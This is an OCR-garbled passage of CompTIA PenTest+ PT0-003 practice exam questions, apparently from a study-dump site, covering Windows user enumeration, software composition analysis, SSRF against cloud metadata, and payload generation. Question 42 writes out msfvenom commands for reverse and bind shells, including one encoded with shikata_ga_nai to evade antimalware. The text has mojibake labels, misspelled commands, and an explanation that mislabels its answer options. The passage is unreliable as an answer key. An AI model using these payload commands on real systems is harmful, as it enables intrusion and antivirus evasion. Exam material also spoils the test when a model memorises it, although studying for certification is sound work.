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B #1 B] CompTIA PenTest+ PT0-003 4 & % 5k B fH (Q38-Q43):

FIRE #38
A penetration tester gains access to a Windows machine and wants to firther enumerate users with native operating system

credentials. Which of'the following should the tester use?

A. net.exe commands
B. strings.exe -a

C. netstat.exe -ntp

D. route.exe print

BEER: A

f RS A«
The net.exe commands are native to the Windows operating system and are used to manage and enumerate network resources,
ncluding user accounts.

FIRE #39

A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents
of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the
tester's activities?

A. SAST
B. ICS

C. SBOM
D. SCA

ZE: D

i RE R «

The tester's activity involves analyzing the contents of a JAR file to identify potentially vulnerable components. This process is known
as Software Composition Analysis (SCA).

Definition: SCA involves analyzing software to identify third-party and open-source components, checking for known vulnerabilities,
and ensuring license compliance.

Purpose: To detect and manage risks associated with third-party software components.

FI& #40

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's
metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester
exploited?

A. Cross-site request forgery
B. Rennote file inclusion

C. Local file inclusion

D. Server-side request forgery

ZX: D

i RE LB -

Server-side request forgery (SSRF) is the vulnerability that the tester exploited by querying the provider's metadata and getting the
credentials used by the instance to authenticate itself. SSRF is a type of attack that abuses a web application to make requests to
other resources or services on behalf of the web server. This can allow an attacker to access internal or external resources that are
otherwise inaccessible or protected. In this case, the tester was able to access the metadata service of the cloud provider, which
contains sensitive nformation about the instance, such as credentials, IP addresses, roles, etc.

Reference: httpsz/owasp.org/www-community/attacks/Server_Side Request Forgery



& #41
During a pre-engagement activity with a new customer, a penetration tester looks for assets to test.
Which of'the following is an example of a target that can be used for testing?

A. API
B. HTTP
C.IPA
D. ICMP

BE&R: A

Bt RE S B -

An API (Application Programming Interface) is a common target in penetration testing, especially in modern web and mobile
applications. APIs can be entry points for injection attacks, authentication bypasses, and data leakage.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 1 - Planning and Scoping):

"Testers should identify all targets, including web applications, APIs, and other exposed services as part of the rules of engagement.”
Reference: Chapter 1, CompTIA PenTest+ PT0-003 Official Study Guide

i R #42

A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload
from being blocked by antimalware that is running on the target. Which of the following commands should the tester use to obtain
shell access?

¢ A nsfvenom --arch x86-64 --platform windows --payload windows/shell reverse tcp LHOST=10.
10.10.100 LPORT=4444 EXITFUNC=none

¢ B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000

e C. net user add /administrator | hexdump > payload

¢ D. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga nai --payload windows
/oind_tcp LPORT=443

EX: D

fE AR A -

Using shikata ga nat:

This encoder obfuscates the payload, making it harder for antimalware to detect.

The command specifies a bind shell (windows/bind_tcp) payload, targeting Windows with architecture x86-

64.

‘Why Not Other Options?

B, C: These commands generate payloads but do not use an encoder, increasing the likelihood of detection by antimalware.
D: This command is unrelated to generating shellcode; it appears to be an attempt to manipulate accounts.
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